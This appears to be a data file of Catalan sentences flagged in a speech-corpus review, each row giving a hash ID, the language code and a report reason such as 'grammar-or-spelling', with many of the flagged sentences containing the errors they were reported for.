add171c896d7e3108215397a234c0f33f8cd47f844b56d22ee7d13e11ffce502 ca grammar-or-spelling El jugador també pot tenir disparar mentre es mou. ade438a074020b95da8ae084d4c7041b19b229b4d7822978bcf93c0a5f22f6bc ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling El jugador també pot tenir disparar mentre es mou. ade438a074020b95da8ae084d4c7041b19b229b4d7822978bcf93c0a5f22f6bc ca grammar-or-spelling En els anys de la postguerra fou testimoni de l'expulsió en massa d'ucraïnesos Sibèria. ae9503ed9ee5c65b52ecfe9a32bcf2e58450044e4547f9b797f876a99c14b8e5 ca grammar-or-spelling El seu pare era un comerciat adinerat que havia comprat el seu estatus de samurai. ae9a661f670bb0e8dc55f1ee3e53da1a548a9177bd13611de41363102191564c ca grammar-or-spelling Ve nia d'una família amb una llarga història a la frontera. af16e39e1014d70146f937d4f7ad62b05a12046d0b108fac5cfcf80e380ddacb ca grammar-or-spelling Són animals filtradores omnívors i no requereixen alimentació complementària. af7ed9f837e98fb360b7994592934c08df0fc00db76e8d88c1dd0a8fb86b769c ca grammar-or-spelling En hivern arriba fins a Sri Lanka, Malacca i Taiwan. afbf50e2d88e495c200fdd3eabd9482420332fbfa44f924ff719ee51ecebd7dd ca grammar-or-spelling D'allà estant, espot gaudir d'una vista del massís de Montserrat i el riu Llobregat. ae556362d95dff1ab07e2c80f90f87cd52d8ede5daf1fa8e235d7f5223ae6ff6 ca grammar-or-spelling Són animals filtradores omnívors i no requereixen alimentació complementària. af7ed9f837e98fb360b7994592934c08df0fc00db76e8d88c1dd0a8fb86b769c ca grammar-or-spelling Va ser creat al per Nicolau Maria Rubió i Tudurí. af4f09a1876de9f4681280a5d3bfbf7df071cbf6844e088a53808ead8daf23ea ca grammar-or-spelling Això va produir bastant confusió entre els seus alumnes. aeeafd1c74b9b0d7009884a7a265db151fea77fc0ad2e8fbbad3a152c7da32e7 ca grammar-or-spelling Allí llegó a la final, però es va escapar l'ascens en l'últim sospiro. afd92188a29f64a1fe9263d317ed4de8f7d55dd2bd086f421a61aadfc8d62494 ca different-language Es va debatre tot el dia sobre el tema del tràfic de persones. b10c5dfada50647dfe79c2594d444c8b77cff731a55505fc4388f998313721fc ca grammar-or-spelling El procés industrial s'usa el teler mecànic i el teler de Jacquard. b1860268da8ddc614da275f0a2e4425bb78f3dedbbc78e880346d450f0cda85c ca grammar-or-spelling Diu que mai havia somniat en protagonitzar una sèrie americana. b1981eb49d1a8f9005fc7ffb05e5a9d4034b98125d72bcb9e1531bab92461b9e ca grammar-or-spelling És venerat com s sant per les diverses confessions cristianes. b12bb9d23f4794fb127a877c3b117496ad2add7721fb3ed8543386d22085d44b ca grammar-or-spelling És venerat com s sant per les diverses confessions cristianes. b12bb9d23f4794fb127a877c3b117496ad2add7721fb3ed8543386d22085d44b ca grammar-or-spelling Només s'observen cinc pedres que, a més, han estat mogudes de lloc. b200d46e79e9c4f25c64b189f79a49cedb56b849d177ba2ea4bde113ddaafc35 ca grammar-or-spelling L'opercle calcari gruixut i té un nucli calcificat excèntric, i presenta una escultura en espiral. b2a8f7c389c9d20f0ed716d3ffb4e37f7dfed66b46f88c9fc64ab48fdf736ccb ca grammar-or-spelling Administrativament és una comuna del departament de l'Erau a la regió Occitània. b2a7416394059577682c3cd81df8bd6e954dbc3c2423bf93982749d78def8329 ca grammar-or-spelling El mateix rei demanà Bernat de Claravall que redactés les regles de l'Orde. b28e7b134b485fc46627362a13fc7da4e868a3ab5e45bf9ffca3d8482bfb681a ca grammar-or-spelling Encara que sempre va ser un empresari, no es considerava exactament tal. b27fc0f2b6b4971a4efd3295b250120323f99b12d219e9d1ae2b8c8534844dad ca grammar-or-spelling Substituïm i en l'expressió de la forma. b223bf5db7b65f94757976e95cdabb69651807c3ff125481485440e469500eea ca grammar-or-spelling El regent podia tenir reunions tant amb cada secció per separat o com en conjunt. b2a46e2f0067aaf9015942845791f864f54258d694a8eaa2f6182dd451372831 ca grammar-or-spelling A més del seu treball científic, tingué una posició compromesa sobre qüestions del seu temps. b27823c66eecc6521e838cacc932cf5a2be125f6178cc3540fb54d7843be2a7a ca grammar-or-spelling És la seu del comtat del Comtat d'Oklahoma. b2a4852770e5f0638b57885459795d4dbff01cae0701fe2d2c8753c60caee7a1 ca grammar-or-spelling El la indústria del paper s'utilitza tant talc en pols com en forma de bloc. b319201cc5472e8777778a4cc6e2a737c96bb8005dc41760652f991250117af2 ca grammar-or-spelling Aquesta desaparició és deguda a dos factors, l'èxode rural i els diferents matrimonis entra subgrups. b37ffea78bcdd8c8d0cfe7f19a7dba06429a3ab1e8c6a5ea9280647525c0557a ca grammar-or-spelling Els cristalls presenten pleocroisme del vermell al blau al violeta. b38ca61aa824b1d411a8b3506a11f58e0eb814ea5abd9d23001e32cc42385bf8 ca grammar-or-spelling En els registres històrics dels tsunamis se'n recullen diversos observat en el mar de Bali. b42b4ff2894a6694f160660153cdb6be137215558a74d805416a0ee19a5b2c06 ca grammar-or-spelling Va ser teòleg i escriptor d'assumptes religiosos, a més d'amic i benefactors dels pobres. b4347218a11714a74a902ee0d739ee7513b647a5c96531a9d3574501dea25e45 ca grammar-or-spelling Ella rebutja la seva oferta creient que no aquesta no és sincera. b4424a17fbe007a66b65db05bc3a4a5d689a65d4f2922bf49284c27a5d1ae648 ca grammar-or-spelling Cal destacar que no sempre cal una intervenció quirúrgica per tractar és quists. b42f555f13c4807d66600bfc0b3ddc79ad258f5f6d3acc1dda1223f4081c08a6 ca grammar-or-spelling Exemples dels seus productes inclouen llet, iogurts i postres basats en la soia. b54ad290bd4b7739e0a4eb0e95ddd40b6a2b50906af080f305cba3fa4c8e141f ca grammar-or-spelling Va ser ambaixador de Bolívia en Espanya. b59f031c8928a777d1ff0fabe9a173505dc5b748608dc97675a9b1395bec6dc5 ca grammar-or-spelling Fora d'Escòcia existeixen diverses versions distintes de la bandera d'Escòcia. b51c0fa38893569b17a184428147bbd0308bc96a97abec56d5248511188d8abb ca grammar-or-spelling Per exemple, l'operació d'un cilindre únic actuació es pot activar de dos botons separats. b571719ccf0ad8197e9a6c966f9c63b0d98add15f13dcbaf4db3336e55581db0 ca grammar-or-spelling Va ser ambaixador de Bolívia en Espanya. b59f031c8928a777d1ff0fabe9a173505dc5b748608dc97675a9b1395bec6dc5 ca grammar-or-spelling Fa fugir a París per escapar a les forces del tsar. b528d1fbdac93d1bcdf5423153c83c8008fe8b081c58a2dfef93512806579226 ca grammar-or-spelling Fora d'Escòcia existeixen diverses versions distintes de la bandera d'Escòcia. b51c0fa38893569b17a184428147bbd0308bc96a97abec56d5248511188d8abb ca grammar-or-spelling Foren la tribu germànica més important durant el període romà. b5a729eeb59a93f74503b85846d062929cd9d5506f1871e490d10646ddb7201f ca grammar-or-spelling Les tres restriccions d'un projecte Ràpid, Bo i Econòmic són interdependent. b581ec543a6408d68d59054c9be93b483855952e8b189f3ce753f2ef7ade50a7 ca grammar-or-spelling La multiprogramació va reduir significativament els tems d'espera quan s'havien d'executar múltiples programes. b62428c7add7b073869867d269113059b783d6f4fe4e2c59567383b7f7e2c9c2 ca grammar-or-spelling Endemés de la versió per a infanteria, hi havia versions antiaèries i navals. b62ad8e902446aad069c480b85a0d7c93b17095375cef5c31efb95eb4195d988 ca grammar-or-spelling La multiprogramació va reduir significativament els tems d'espera quan s'havien d'executar múltiples programes. b62428c7add7b073869867d269113059b783d6f4fe4e2c59567383b7f7e2c9c2 ca grammar-or-spelling Considerant que les dues primera formen un grup. b663d2aaadfce833ec6195919079d2030bc1b79550614e5df3e7b52b085c7c64 ca grammar-or-spelling Entre les dues confrontacions servir en l'exèrcit austríac. b624d2d3d31584f1926c0c5f6cdef03b3e66fe7d8da33b7956074f1ce20a13f6 ca grammar-or-spelling Així ca acabar la primera dictadura militar del Sudan. b664dc8df39e486e4b87c329495c41b93363cc110733af9ca506054894672944 ca grammar-or-spelling Entre les dues confrontacions servir en l'exèrcit austríac. b624d2d3d31584f1926c0c5f6cdef03b3e66fe7d8da33b7956074f1ce20a13f6 ca grammar-or-spelling Són plantes natives del nord d'Àfrica i dels sud-oest asiàtic. b68e8316f29b4774a42af7ffdd0246ef5cd9bdaff2eb9a6970d8f42523b635e5 ca grammar-or-spelling Els arverns varen ser un dels pobles més poderosos de la Gàl·lia. b6c56f8f1f4461acbbd13ae6fc8153f4c4c353c65e5aff6edaddbd824e0dc42e ca grammar-or-spelling Incloïa unitats d'infanteria, artilleria, comunicacions, cavalleria blindada, aerotransportades, aèries, navals i una acadèmia militar nacional. b6988850839df2a171cd2f2afd14eed8107ee4ee3f45962c3f435e3cda50e64b ca massa llarg També ha sigut a la Universitat de Princeton. b6f2aa76194be90b3eb9ad29e28b50a5b2e03e8e5110e16228bbf6c26e0ec963 ca grammar-or-spelling La resta de mòduls és dedicada altres dormitoris i complements. b742e211192f1af7c1c2584a535b5a10f33e892376ba3cf620677fe852f1d926 ca grammar-or-spelling Així i tot, els seus informatius es varen posar en marxa el maig. b7ee4c78461d71da701d4f94c399be89688592e708748b4fc1c7a743b752e949 ca grammar-or-spelling Això pot donar problemes i moltes vegades aquestes dues pistes d'àudio sofrixen interferències. b83131df2dd815def2f51cbf02a6803ce7cb66153d4e0ed66f4a4f586121e5aa ca grammar-or-spelling Va morir a després d'una llarga batalla de càncer de la medul·la òssia. b9868d4ba620ac7acae9c225e1a040556b6e7b5d9e8f64e975417e6fc7789e8f ca grammar-or-spelling Eta important que les organitzacions regionals treballessin per afrontar els complexos desafiaments de seguretat. b9faf2da99a644b9375e10f7479c640dc9a65d1881548bbad8940b8dc6b3ae92 ca grammar-or-spelling És considerat un els primers exploradors i experts d'alta muntanya pirenaica. ba059f4f4797a68b2a63ca14f6337b5b913e22625c43d4c957dd9e146ad8b5af ca grammar-or-spelling Va morir a després d'una llarga batalla de càncer de la medul·la òssia. b9868d4ba620ac7acae9c225e1a040556b6e7b5d9e8f64e975417e6fc7789e8f ca grammar-or-spelling Espanyol els dos equips catalans que militaven a primera aquell any. bb9b225df872e755cb8c6157cad04f438e38db8b631620bfc6f79a0eca309fd8 ca grammar-or-spelling Tota l'església compta amb imatges i patrimoni eclesiàstic èpoques diverses d'interès artístic. bb61b117c3db16256d09db1cd8b0ea72e7cc9db946df938ce4e0d362f9be5daa ca grammar-or-spelling A la segona meitat del s'hi va establir un quibuts jueu. bbe28d816d187fac62d649a7ec6006027a01a9a25a2c2c837b98589876180f63 ca grammar-or-spelling No hi glaça de juny a octubre. bb74f79cbd01c20593351b112d67daa5c24104f56b5d045de77bfd3ba1bcd3e2 ca grammar-or-spelling Se n'ha trobat en més dos-cents jaciments arreu del món. bcf27fc2711ae81addf5777d84e4a4ca6c48bdb1fa6724a2dda7a197ae608f32 ca grammar-or-spelling En l'actualitat, la població creix, com que hi ha la darrera estació del continent. bd1416b4b7679aee40c20749f9bc155463f35e17c25f4459cfdf6c3f3e0e2cc5 ca grammar-or-spelling Els ports vans er la seva porta d'entrada. be318d7e2d35d20a29b6a0963598ab75dd0f27243306b00caa4c5f6f65a0bd75 ca grammar-or-spelling La principal ciutat de també és el port més important de l'illa, Famagusta. be63e96828f8d930eec14522db42b68fd1dcaf5cb7493a4aebc05500b40e4e14 ca grammar-or-spelling Estava més orientat al rock que no pas i, i tenia més cançons originals. bf3ba7b4f8fddcc7ff4cff5edf84051dfb927ed890c9ca68358f4855276c7e1f ca grammar-or-spelling Els defensors de la fortalesa, sorprès i desmoralitzats, van decidir rendir-se. bf421b288a61acc0be7c62eb24977bfbdf6245a9bf7f8df682bffb8036e201f6 ca grammar-or-spelling Estava més orientat al rock que no pas i, i tenia més cançons originals. bf3ba7b4f8fddcc7ff4cff5edf84051dfb927ed890c9ca68358f4855276c7e1f ca grammar-or-spelling Les aranyes de seda d'or exhibeixen comportament molt interessant. c027670e671fb4f699aafb0273397d5b70c6349ba37b5e02d6db32013960885d ca grammar-or-spelling Aquest serà també l'ocasió per elles de descobrir la realitat de les persones grans. c16012d26eabecde1564e82db2986938a6ca6f80808271f2388e8fec8e5ce9b6 ca grammar-or-spelling N'hi ha quatre dues de les façanes. c0aff97aad854584a033e4733c6a5ffb4ad285c06e8a2e9217abb017ad067006 ca grammar-or-spelling En popa hi havia dos timons, un a cada costat. c2c92dfe2e6ca28f126cfd47cedb851f45d0b34b1bcad0b667700cea65c1eb7d ca grammar-or-spelling Les fàneres, al costat de la pell, constitueixen en sistema integumentari. c2671faada38f5b746ea178ff78e8fa90d89e05c76085fea0281eca62f486da3 ca grammar-or-spelling En la dansa teatre, és la figura més destacada i ha influït en diversos artistes. c31d849ee32a53e491bdb6c546a461e58c2ddab84204507ee39d3f920fa6bc8b ca grammar-or-spelling Campanar d'espadanya al mur de potent. c246f070284d3c9e38579c11fe03a3ad445f6cce7c19ee41941fb7bebada1668 ca grammar-or-spelling Campanar d'espadanya al mur de potent. c246f070284d3c9e38579c11fe03a3ad445f6cce7c19ee41941fb7bebada1668 ca grammar-or-spelling Campanar d'espadanya al mur de potent. c246f070284d3c9e38579c11fe03a3ad445f6cce7c19ee41941fb7bebada1668 ca grammar-or-spelling El nom és una indicació l'exposició o l'orientació solana. c2988ef6dc4c4ab3d0f0b427770fa76ce5242e4f139419cfa4604376d257cd7e ca grammar-or-spelling Smith la promesa que els dos presoners serien alliberats. c3fa43c5168eea900e36aa0155506cca8d46aad222c7e919c5f940f87df6e56d ca grammar-or-spelling Durant la seva carreta esportiva aconseguí una cinquantena de victòries. c498dd0215eae86a8f2e3e2a7e639c80491a7997e579504fdcb3d93cfd7cb95f ca grammar-or-spelling Els fol·licles amb unes moltes llavors, marró, longitudinalment amb estries. c529f4a95ffedafecef0b26d4ea27af1fe28500061397711726ca28b04ac0cb4 ca grammar-or-spelling Va jugar les seues dues últimes temporades com professional en l'Espanyol. c4c6c7d171c8902af009ed323c29b1c671108d54958f15f4302b9715e9f81500 ca grammar-or-spelling En la seva extensa carrera cal destacar dues, molt interessants. c5b96ab1ec8e3cd050e9fb7be3a59b9d4b363b17ca0cd2c0fc994a72249b8a42 ca grammar-or-spelling Es desconeix la de data del seu naixement. c5d7a9181ea3a16582ed0384f4003e8e2a63e3eac088256e2b6171e0470d8804 ca grammar-or-spelling Va ser evacuar ràpidament a l'hospital Nobles de Douglas, però dos dies després va morir. c69e5290c54b6f3f0ab3d432b7e8bbcb42b0906d6c2627a1060a248958d996b0 ca grammar-or-spelling El cal distingir de la cotilla, que apunta més a mantenir la talla. c697df5bae1ee7cd3b192c64b292ff73725696640259ad55009ae2aa2f869871 ca grammar-or-spelling La seguretat va augmentar en els aeroports i metres d'altres ciutats de Finlàndia. c704d59ffd7d9055308166fbe0f3dc59c1daeceeb696d356ac4113034eac4658 ca grammar-or-spelling Aquesta recerca historiogràfica també tocava els aspectes lingüístics, desenvolupament una teoria pròpia sobre la llengua. c83735272946d9cd5ae5804dd7dc1455c065877f1fa1e95d2a5c2701c2872a9b ca grammar-or-spelling Aquesta recerca historiogràfica també tocava els aspectes lingüístics, desenvolupament una teoria pròpia sobre la llengua. c83735272946d9cd5ae5804dd7dc1455c065877f1fa1e95d2a5c2701c2872a9b ca grammar-or-spelling De la seva vida no se sap res. c353664c9616fa82de7d8f91784eedcdebd9c2b9b586b3134908474d58b5039b ca grammar-or-spelling El va ser pretor urbà i va dirigir el judici de Verres. cac7df304aa52652f42f893cf59ff7badb66cf6e42afc6ed359fecc6990ef3a9 ca grammar-or-spelling Són obres plenes de pau i tranquil·litat, plenes la subjectivitat de l'artista. cb6a25ff6e7517238aacabb60a7cb3ca4e969d72193ccbcce17b58e20e44cbcb ca grammar-or-spelling Els territoris americans baix domini espanyol, convertits en Repúbliques, van iniciar les seves lluites d'emancipació. cb2c771205e4601c09305d121312deb2d117c070d3b3392a4e0eacd9b6c2bb83 ca grammar-or-spelling Els fidels del país es va reduir a un petit nombre, majoritàriament estrangers i immigrants. cb27267888ce7d09f5e5feb4c694e8fde42208027fafeb34581868d0661ad1fa ca grammar-or-spelling Exercia de talaia per a vigilar del trànsit del port. cb650f314615ffc52db9cf30ff118b6986bafd9d00ec4d6b317b21b0b8490fc3 ca grammar-or-spelling El pilot disposava d'un periscopi, però no tenia ràdio o sonar. cc69e0d7ca1a475cdc2a31aafea7dd8996137042d268de1a38a472363688db74 ca grammar-or-spelling Abans de la guerra era capità retirat, resident en Madrid. cccbed7762723472643050dbc15be7d3204c47d92298ad2d61e3cf12cd22ec0f ca grammar-or-spelling En casà amb Ermessenda, de llinatge no conegut. cd537c3f321ed0881e4b227c66ca09c90b2109629c6c3ec1e2e92851ab5e16d5 ca grammar-or-spelling En casà amb Ermessenda, de llinatge no conegut. cd537c3f321ed0881e4b227c66ca09c90b2109629c6c3ec1e2e92851ab5e16d5 ca grammar-or-spelling És casat i pare dues filles. ce4b4aa3bbca0b9b8ef3f9431976946150762d1835e5770850692d32bbca8d2f ca grammar-or-spelling La façana és culminada per cos campanars bessons. ce964c49bbea0902a27a8f8e31885ad50a5b25d5eba4a7a57bcd021ff937e60d ca grammar-or-spelling El va ser una etapa de creixement econòmic i demogràfic a Catalunya. d00e91c5a459c4a202aaab7c59790406ed252373a56c79923feb36c641eb9f1b ca grammar-or-spelling No obstant això, en la següent dècada nous conflictes esclatar. d0e9f29e597fc35b3bab315d02ae504eb33d90ae93e11c0194d2881dad3b29cb ca grammar-or-spelling Penso que som gent del de circ. d121722dbe6d47d8a4585d217360746cc1fc0be552976943dde168e7d41f1c9d ca grammar-or-spelling Guillem i Eustàquia no va tenir fills. d1979537f9dee9830e4c1e2a4de1f44484545ad4de4e9fa30b4712db981e0552 ca grammar-or-spelling Algunes formes de la malalta es poden prevenir amb vacunes. d1e89cb185e1c4889b02f29e21bd53fb545c65441ede7de237a992505efe827a ca grammar-or-spelling Es coneixen moltes varietats hortícoles i les seves castanyes varien de grandària. d61600349650c3d874555dfafea7e35a743ae12b19276c4aa602400f3aa312e9 ca No veig que es gravi el que jo llegeixo. La frase és correcta Després del va caure en decadència, però Andrònic Paleòleg la va restaurar. d69c635b486a8b1cf40ab95f157add3ca1ade891bac07f47b02b5e00cf3f92d7 ca grammar-or-spelling El seu desenvolupament a remunta als anys posteriors a la Segona Guerra Mundial. d7faeaade2a734451e881bcf55b6d2ce996fc2d9a960f6ee0a261a68f05a790d ca grammar-or-spelling La guerra li impedí que seguir la seua carrera d'arquitecte. d872db2e0e844156276219718a04068eaccf3339211fcc26e509f21c46c0265a ca grammar-or-spelling El participà en cinc de les deu proves puntuables, finalitzant setè del campionat. d89615205773e006f5625c241a9d594f5eb4e747acdc97c9b8486e5691d4c1cb ca grammar-or-spelling El participà en cinc de les deu proves puntuables, finalitzant setè del campionat. d89615205773e006f5625c241a9d594f5eb4e747acdc97c9b8486e5691d4c1cb ca grammar-or-spelling La informació que tenim d'ell, prove majorment de la Bíblia. d95e763fe7e4cfdbe5d9252b86cb263ef37b0cd04951209e468acd077972a736 ca grammar-or-spelling Ha obtingut infinitat de guardons entre ells una vintena de primers premis. d9a6107c2dd2255345faa506e228a7e785066cce2b2558b839fa3dd7ed917b04 ca grammar-or-spelling Es troba al Pacífic nord-occidental: el sud de les illes Kurils. d90e5f2307f2b485d72c4dac7db49338eb1918ed5756da6a6ca6be346df68bdb ca grammar-or-spelling Es tracta edifici de planta rectangular, orientat a ponent, de nau única i absis quadrat. d9b6c6f3124659e0dd923976648f924e5f06e0e83c612faacbc9dc8926aa1737 ca grammar-or-spelling Era membre d'una família de propietaris agraris de Cubelles i vincular al Banc de Barcelona. d9ddc1d374128189897e6dccd26a60e2d0e94b3f70deff8ce1f7f8bf5536e531 ca grammar-or-spelling És verinós per als humans: les seus picades són molt doloroses, però no letals. da98216e41aeacd7bc5a631416fb2bc4354df9322d062b50a2e1d02efba967f8 ca grammar-or-spelling Allí ho van matar els nadius i l'expedició va donar la volta. db47b66260b9fe4d4d180ea2e1bc42a72c6a1349dcd2032d6423d66e94bc98e0 ca grammar-or-spelling Els conceptes morals revelen els estats d'ànim de qui les profereix i no són verificables. db16b061597e0b499c999b1f088fe376b9785943375b8c772def13d77d82afb7 ca grammar-or-spelling En nois s'aprovà basant-se en la seguretat i la immunogenicitat, però no en l'eficàcia. dc2aed87ed68d94b1864010d0147d58d1b849cb6db1419371ca454a61179894c ca grammar-or-spelling En essència, aquests motors són un motor de vapor alterat per funcionar amb gas d'enllumenat. ddce3ea7e7018d2742f68b274ce9fd6b6dad2c7ce18ded6869ab6ec6b368810b ca grammar-or-spelling L'economia del municipi aquesta basada en l'explotació minera i en la indústria. df2124eda0b6b5e36af06e8ca7c7d88f33c576b253ccf8580ca98d0cbd025969 ca grammar-or-spelling Això va provocar que més tard. e0e5cdced8baa5645792bed301029de71367b52045ccaf288f35768696315bfc ca grammar-or-spelling Aquest tipus de lògica sovint confon als quals no coneixen bé la fonologia japonesa. e0f2183044c488a7455a45a15e974008250e04a565c5f602bace74019e9bb818 ca grammar-or-spelling És un barri ben comunicat per autobús, tant urbans com interurbans, metro i ferrocarril. e1d0c38fedbffa207f0992e9d346e4e930a5deb2c747801a4f8185c745373a4a ca grammar-or-spelling També en compra un facsímil. e1aea7e51d87e9279f3fc31e6dff6389a0803006e6ece78bf1d584dd1aa60ba5 ca grammar-or-spelling L'enfocament interdisciplinari de la utilització de diversos mètodes sovint poden aconseguir millors resultats. e154cf2821d000bf49bb933fe5cbbc688c8f41a6cdbc3d87941e4581081c74ea ca grammar-or-spelling És considerat un dels defenses sud-americans més importants de tots els temps. e17b0974ae20a44a97ab414d1107b2eb8ffcbfab219b7c740ff3a3e0b990ba21 ca grammar-or-spelling Cassanyes participà en la vida de la població des de força altres llocs i responsabilitats. e18d0c5b6576877c5df731ce61ea1a1741889a776cc83797b52e7a9f770ea318 ca grammar-or-spelling Per això, els termes no han de ser usats intercanviable. e1e5007828988f615a4a5a84e7a3f53a08f67417017320f85030209254666863 ca grammar-or-spelling Conclou la cantata el coral a quatre veus, duplicades pels instruments segons la seva tessitura. e1c273a6a3285abe9c9ca8d2fdab08d6d9762073d9d6446dbbbf48de426cedeb ca grammar-or-spelling Aquesta aplicació resideix en un servidor de pàgines web on es desenvolupen les accions formatives. e22f9ca27533d1f7120b22dc383f1c351f76c79d005c1945ee193ae11938774f ca Llenguatge tècnic Està situat al nord del terme municipal, a prop del límit amb Sant Quirze Safaja. e1eb4b10ec527d0d7b51894147eacc5d1df567cbc5a40124f8826fe7b497127f ca difficult-pronounce Forma part del conjunt parroquial un petit edifici adossat al nord-est. e23eac64a6e973200f3a73bf2c1963df63ea39fc2863bcb1b973e3b170ae3183 ca Confusa Es tracta d'un paratge natural d'una bellesa paisatgística insondable. e22e528e3c3026c6c2f108b7f23879d5f406db0180adf46f22c93fb16d82f27f ca difficult-pronounce A més del personal propi de Beatties, la botiga també va contractava els administradors de concessions i personal. 007d6b501aae745f0f50cf37dc76fe6d09ca46bb920db6e839923d985a2e81db ca grammar-or-spelling Formes de vida com els peixes i invertebrats també han reaparegut al riu. 009c8f0b2e254578e9c76263cd9fe50c6398391301d43c7b0fc0def9f439a45f ca grammar-or-spelling Es va comercialitzar per primer cop a França en una lata negra. 0151c3887b6ae3d4591a3816130e9b969a96aa46e1f4a8c985a68baffeff1d97 ca grammar-or-spelling A vegades s'estableixen "sub 'ndrine". 01400232e679f168eafcab0a4a80c3e143adaae22a62ebec52486fe5265c501c ca grammar-or-spelling La seva granja a les afores de Boston es va convertir en el campus del Boston College. 0192dfebd614f9d1df8d08bd931c8bfddcbb486437019bca3a033a21477fc5fd ca grammar-or-spelling Y, en aquell moment, la cocaïna es considerava inofensiva. 00f3e96680e69066d2578ac95ff9d99fcfeda587f2ed4bcac78384b7415acb4c ca grammar-or-spelling Un home que porta olleres de sol seu en un vehicle petit 02e368408ea9a9c9068a77181450921ed5909b62b1c6c38252c45d5ad17fd550 ca grammar-or-spelling També s'ha observar una nova nana en aquest clúster. 039e0743d0b12554437dc01a5a2656a56c284656e85811a3df93deace3e32e69 ca grammar-or-spelling Va estudiar a The Prebendal School, Chichester, i després de la Universitat d'Oxford. 03a232c6aecdee24f0c0bb0da3f1d9c5a9e8365dbbcab72082782bf0d4ae1a1d ca grammar-or-spelling Frank Oliveri i la família Oliveri van obrir Liverpool oficialment juntament amb Ald. 04244ad4fa0114fe071d8e43b1729a6bb1ae8f7cf21c2b71c9a742e90c736997 ca grammar-or-spelling El nard de Texas és acaulescent, la significa que la tija és extremadament curta. 0388b04c45407ab1ace2d6a53bd25e7a0cc950efd53ce6b7d55472fcbcd8a85c ca grammar-or-spelling Tenen les potes rectes, i els dits dels peus i dels peus punxeguts. 041a938acb64dde113f868469f5600a1c817d6aea7fbbc798272c5e2001289f4 ca grammar-or-spelling Des que va marxar de Hillsong United, a treballat en la seva composició. 049a21c77be280cea59c77cd7a00ed8c1b43bc9cc3763a9f994263332aa2893b ca grammar-or-spelling La van criticar molt per aquest opinió. 04575dd96b418ad84c0c800e958284840a8db6382161eff914533d9d0333943b ca grammar-or-spelling El corticosteroides Suprimeix la resposta immune, reduint la inflamació i millorant la majoria dels símptomes. 03af9fd780782bbe0f2f7c5a7e6e61bef1972b3407fc9f0355c5bca8fe64e1b7 ca grammar-or-spelling El "pau riders" reial tradicional és una de les característica florals de desfilada preferides. 04fe72c8e126c9a14aa6b3ca1db7d00c9e8f79f0bc0e549b991913efc7bf9bfa ca grammar-or-spelling A més, la frenada regenerativa també es port usar amb aquest sistema. 0539221b03b3e31a1a72bfbc9652a2f337b3c0b851ad41693177458b3a8dc44c ca grammar-or-spelling Els diamants de colors amb tinguin una saturació major que la d'aquesta escala es coneixen amb el nom de diamants "de fantasia". 0428ee6e5e904615f067c05a9f9e1a56740e98d2178086b08583d9244f5cd82f ca grammar-or-spelling Després va aconseguir una feina com professor a l"escola jueva de Londres. 0550949d6df959dd95ea3c4c0382b87fffc53651c9928a4db8360649581e0b57 ca grammar-or-spelling Actualment, hi ha dos places vacants. 05715569174ff1c59c767ba45e6d9ee2b05743b7e1f83b21e952575c9175b57a ca grammar-or-spelling Va realitzar els seus propis experiments dobles cosa que millorar-ne la seva precisió. 048588d124f34243aa6dd64f2fba4fe13bece78261ccdcd41b6e7121688166a8 ca grammar-or-spelling Els diamants de colors amb tinguin una saturació major que la d'aquesta escala es coneixen amb el nom de diamants "de fantasia". 0428ee6e5e904615f067c05a9f9e1a56740e98d2178086b08583d9244f5cd82f ca grammar-or-spelling Es va unir a societats horticulturals i va esdevenir secretari del la Societat d'Horticultura de Nova Jersey. 05ed6f7e2c84a9b69a4a031cf6f26dbc7400ca0174e79fa205cee6ab194eb7ae ca grammar-or-spelling La paret de la fortificació tenia setze peus l"alt i sis peus de gruix. 05ec6fde04302422edcd1700b1af8965b0d6e802dbb8455178d0f4e179b5a5df ca grammar-or-spelling És aproximadament llar, ample i gruixut. 063a98309708378d0c30f771b0c18fb933a07b9aa5145a51b33ade30561588b3 ca grammar-or-spelling La paret de la fortificació tenia setze peus l"alt i sis peus de gruix. 05ec6fde04302422edcd1700b1af8965b0d6e802dbb8455178d0f4e179b5a5df ca grammar-or-spelling Ell va anar a Estrasburg i Basilea, però només que va trobar el fracàs. 06450dbeae23b89bfb0466ace5e6ae89a49a80b0b205a635ac8f620c19f684ac ca grammar-or-spelling Molts capitans can intentar caçar-lo després de passar pel cap Horn. 0661beebcbc4975eb191629c8ab9b5e739ee105f1643914d6158083e7c73af8d ca grammar-or-spelling No hi ha proves que les capacitats de d'agafar la pilota corresponen a jugadors individuals. 05c5a555939af5649faa5b378bf3f1062005da974914ec9e1ef56157341367be ca grammar-or-spelling El Varanus salvator es defèn mitjançant la cua, les arpes i la mandíbula. 063faa185e2c74fab3e99ef1340fd1012a4ee682760258d831c4e9134d05dbb6 ca grammar-or-spelling Però Error es va enfadar i va subjectar Jesus amb claus a una creu. 06b1d0d250d107dfe2c49ac88cdb2712a81232e0c9d82951b94029deee879690 ca grammar-or-spelling Les cavalcades veïnes són Pierrefonds-Dollard, Dorval-Lachine-LaSalle i Vaudreuil-Soulanges. 067e30b43dd8886c744539d162db27488134b9db8d145f3cfe2f575abae58034 ca grammar-or-spelling Barry Sadler, començant quan s'estava entrenant per ser metge de les Forces Especials. 0697b6fa39f2c7dbf3e8a93dd74632a7512208e2e4001fc25ac453f70a81c1f3 ca grammar-or-spelling Faig servir plantilles al meu editor de text per generar ràpidament sintaxi repetitiva, com ara l'esquelet d'un bucle for. 07a81b12e34571fba6d73c953d576d3c89632f87924148433917a96bd59c1342 ca grammar-or-spelling Ella va composicions, llibres d"objectes, poesia fluxus i grans pintures acríliques. 07e9fe86882b246c7d31482c0c206a658402da1fe1dde3fb3fd662dff306f984 ca grammar-or-spelling Les àrea intermèdies s'han emplenat més tard. 0820de28224cc903d4c5d8703670e3a6ef02ae0e311c935915a0b51ef425627f ca grammar-or-spelling La monoècia ha evolucionar de manera independent almenys quatre vegades dins la família. 08b8bad135009e47bafefd6be432101215ab62c84177b61456aa620175e7486d ca grammar-or-spelling Els passos creuats es troben cada permetent cinc entrades d'emergència. 08d5c87bd5d76324c8e75663b3ada8f0c339c9801b450690f865906ad9835294 ca grammar-or-spelling Un home és enlaira fent un salt complicat amb una planxa de surf en una muntanya nevada. 08f2e55fb5d9b657c3db8db0d5ac8037eb898ff9232481804cf25a4873f25b77 ca grammar-or-spelling Invertir en un mateix por proporcionar més oportunitats. 089585a6c9dde7483b281992c9c86b3d335d710fa3909948a26222642ca3d3d0 ca grammar-or-spelling L'en van fer membre i el va nomenar Caterina 